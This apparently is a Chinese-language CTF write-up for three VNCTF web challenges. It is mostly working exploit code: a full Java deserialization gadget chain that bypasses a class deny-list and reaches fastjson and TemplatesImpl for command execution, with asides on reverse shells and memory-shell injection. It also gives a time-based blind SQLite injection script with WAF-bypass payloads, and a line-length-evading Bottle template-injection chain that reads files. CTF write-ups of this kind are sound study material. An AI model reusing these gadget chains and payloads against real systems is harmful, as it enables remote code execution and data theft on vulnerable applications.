VNCTF
javaGuide
核心路由:
@RequestMapping({"/deser"})
@ResponseBody
public String deserialize(@RequestParam String payload) {
byte[] decode = Base64.getDecoder().decode(payload);
try {
MyObjectInputStream myObjectInputStream = new MyObjectInputStream(new ByteArrayInputStream(decode));
myObjectInputStream.readObject();
} catch (InvalidClassException e) {
return e.getMessage();
} catch (Exception e) {
e.printStackTrace();
return "exception";
}
return "ok";
}
重写了ObjectInputStream中的resolveClass方法:
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
String[] denyClasses = { "com.sun.org.apache.xalan.internal.xsltc.trax", "javax.management", "com.fasterxml.jackson" };
int var5 = denyClasses.length;
for (String denyClass : denyClasses) {
if (className.startsWith(denyClass))
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
return super.resolveClass(desc);
}
查看依赖如下:
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
</dependencies>
直接想到了用SignedObject打fastjson二次反序列化.写出poc如下.
package org.example;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;
import java.util.List;
public class Main {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static TemplatesImpl getTemplatesImpl() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "RANDOM");
setValue(templates, "_tfactory", null);
return templates;
}
public static byte[] serialize(Object object) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(object);
byte[] byteArray = baos.toByteArray();
System.out.println(Base64.getEncoder().encodeToString(byteArray));
return baos.toByteArray();
}
public static Object deserialize(byte[] byteArray) throws Exception{
ByteArrayInputStream bais = new ByteArrayInputStream(byteArray);
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
}
public static void main(String[] args) throws Exception{
poc4();
}
public static void poc4() throws Exception{
TemplatesImpl templates = getTemplatesImpl();
List<Object> list = new ArrayList<>();
list.add(templates);
JSONArray array = new JSONArray();
array.add(templates);
BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
setValue(exception, "val", array);
list.add(exception);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject((Serializable) list,privateKey,signingEngine);
List<Object> list1 = new ArrayList<>();
list1.add(signedObject);
JSONArray array1 = new JSONArray();
array1.add(signedObject);
XString xString = new XString("111");
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
// 这里的顺序很重要,不然在调用equals方法时可能调用的是JSONArray.equals(XString)
hashMap1.put("yy", array1);
hashMap1.put("zZ", xString);
hashMap2.put("yy", xString);
hashMap2.put("zZ", array1);
HashMap map = new HashMap();
// 这里是在通过反射添加map的元素,而非put添加元素,因为put添加元素会导致在put的时候就会触发RCE,
// 一方面会导致报错异常退出,代码走不到序列化那里;另一方面如果是命令执行是反弹shell,还可能会导致反弹的是自己的shell而非受害者的shell
Field size = map.getClass().getDeclaredField("size");
size.setAccessible(true);
size.set(map, 2);
Class<?> aClass = Class.forName("java.util.HashMap$Node");
Constructor<?> constructor = aClass.getDeclaredConstructor(int.class, Object.class, Object.class, aClass);
constructor.setAccessible(true);
Object o = Array.newInstance(aClass, 2);
Array.set(o, 0, constructor.newInstance(0, hashMap1, "a", null));
Array.set(o, 1, constructor.newInstance(0, hashMap2, "b", null));
Field table = map.getClass().getDeclaredField("table");
table.setAccessible(true);
table.set(map, o);
list1.add(map);
deserialize(serialize(list1));
}
}
然后发现不出网,不会注入内存马.最后拿webchains做的:



用JMG去注内存马也一直进不去,不是很懂.
奶龙回家
记录一下官方wp:
sqlite时间盲注,fuzz一下waf如下

/**/代替空格,使用randomblob来进行延时
import requests import time
url = 'http://node.vnteam.cn:46017/login'
flag = ''
for i in range(1,500):
low = 32
high = 128
mid = (low+high)//2
while(low<high): time.sleep(0.2)
payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(username))/**/from/**/users),{0},1)>'{1}')/**/then/**/randomblob(50000000)/**/else/**/0/**/end)/*".format(i,chr(mid)) # payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(sql))/**/from/**/sqlite_master),{0},1)>'{1}')/**/then/**/randomblob(300000000)/**/else/**/0/**/end)/*".format(i,chr(mid))
datas = { "username":"123", "password": payload } # print(datas)
start_time=time.time()
res = requests.post(url=url,json=datas)
end_time=time.time()
spend_time=end_time-start_time
if spend_time>=0.19:
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
print('\n'+bytes.fromhex(flag).decode('utf-8'))
学生姓名登记系统
赛后复现:
提示说使用了单文件框架,测试发现存在ssti,搜索得知单文件框架指的是bottle框架,使用的SimpleTemplate模板,可以执行任意python代码.
然而发现每行限制长度为23,这个长度肯定是无法rce的,然而可以输入多行,测试一下换行之后两个大括号里的语句是否是一个上下文,发现是同一个上下文,因此使用海象表达式去进行赋值.
最后使用的poc如下:
{{a:=''}}%0a{{b:=a.__class__}}%0a{{c:=b.__base__}}%0a{{d:=c.__subclasses__}}%0a{{e:=d()[156]}}%0a{{f:=e.__init__}}%0a{{g:=f.__globals__}}%0a{{z:='__builtins__'}}%0a{{h:=g[z]}}%0a{{i:=h['op''en']}}%0a{{x:=i("/flag")}}%0a{{y:=x.read()}}
open是因为被过滤了所以绕一下.156的位置是<class 'str'> <class 'object'> <built-in method __subclasses__ of type object at 0x7f61c5f20580> <class '_sitebuiltins._Printer'>,因为没有找到其他可用的,所以用它去读文件.

浙公网安备 33010602011771号